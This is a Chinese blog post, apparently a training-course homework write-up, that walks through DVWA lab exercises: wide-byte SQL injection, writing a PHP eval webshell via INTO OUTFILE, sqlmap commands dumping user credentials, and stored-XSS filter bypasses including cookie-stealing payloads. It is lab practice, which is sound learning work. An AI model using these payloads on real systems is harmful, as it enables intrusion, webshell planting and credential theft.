C7078-2024.3.16

Fantasy 发布于 2024-08-30 302 次阅读


题目

  • 1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤
  • 2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;
  • 3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;
  • 4、完成DVWA靶场存储型XSS的漏洞练习。

1 宽字节注入

输入框输入kobe%df' or 1=1 # 抓包

在burp suite中修改%25

利用%df逃逸转义字符,构造sql语句进行查询,在bp的repeater模块操作,通过页面渲染查看返回结果

kobe%df' union  all select 1,database()#

kobe%df' union  all select database(),table_name from information_schema.tables where table_schema=database()#

2 SQL注入实现GetShell

使用into outfile写入一句话木马,文件名问shell2.php

'union select 1, "<?php eval($_POST['a']);" into outfile '/var/www/html/shell2.php

在DVWA low等级的SQL Injection中输入,可以通过hackbar中的post data进行操作,但只能输入php命令。

可以通过system()命令执行系统命令

通过蚁剑连接shell2.php

在文件中发现数据库用户名密码

通过蚁剑对数据进行操作

3 sqlmap注入dvwa

3.1 sqlmap扫描dvwa

1.dvwa登录后输入任意值,bp抓包,获取请求数据包,并将获取到的信息复制到txt文件中。
2.sqlmap使用-r参数通过txt中的目标进行扫描

sqlmap.py -r D:\Desktop\1.txt --batch

3.2 sqlmap注入

1.注库名

sqlmap.py -r D:\Desktop\1.txt --batch --dbs


2.注表名,指定dvwa数据库

sqlmap.py -r D:\Desktop\1.txt --batch --tables -D dvwa


3.注列名,可以使用-T指定表

sqlmap.py -r D:\Desktop\1.txt --batch --columns -D dvwa -T users


4.注参数,利用--dump下载-C指定的内容

sqlmap.py -r D:\Desktop\1.txt --batch --dump -D dvwa -T users -C user,password

4 存储型xss

Low

<script>alert(1)</script>
<img src=## onerror=alert(document.cookie)>

Medium


addslashes函数对所有的特殊字符进行转义,无法绕过
name输入框将script替换成空,大小写或双写绕过,name输入框有长度限制,F12找到输入框,修改限制,或通过抓包修改

大小写混淆:<ScRipt>alert(/xss/)</script>
双写绕过:<sc<script>ript>alert(/xss/)</script>
其他标签:<img src=x OnerrOr=alert(/xss/)>


High

正则匹配过滤<script> 使用img标签绕过

<img src=## onerror=alert(document.cookie)>


此作者没有提供个人介绍
最后更新于 2024-09-06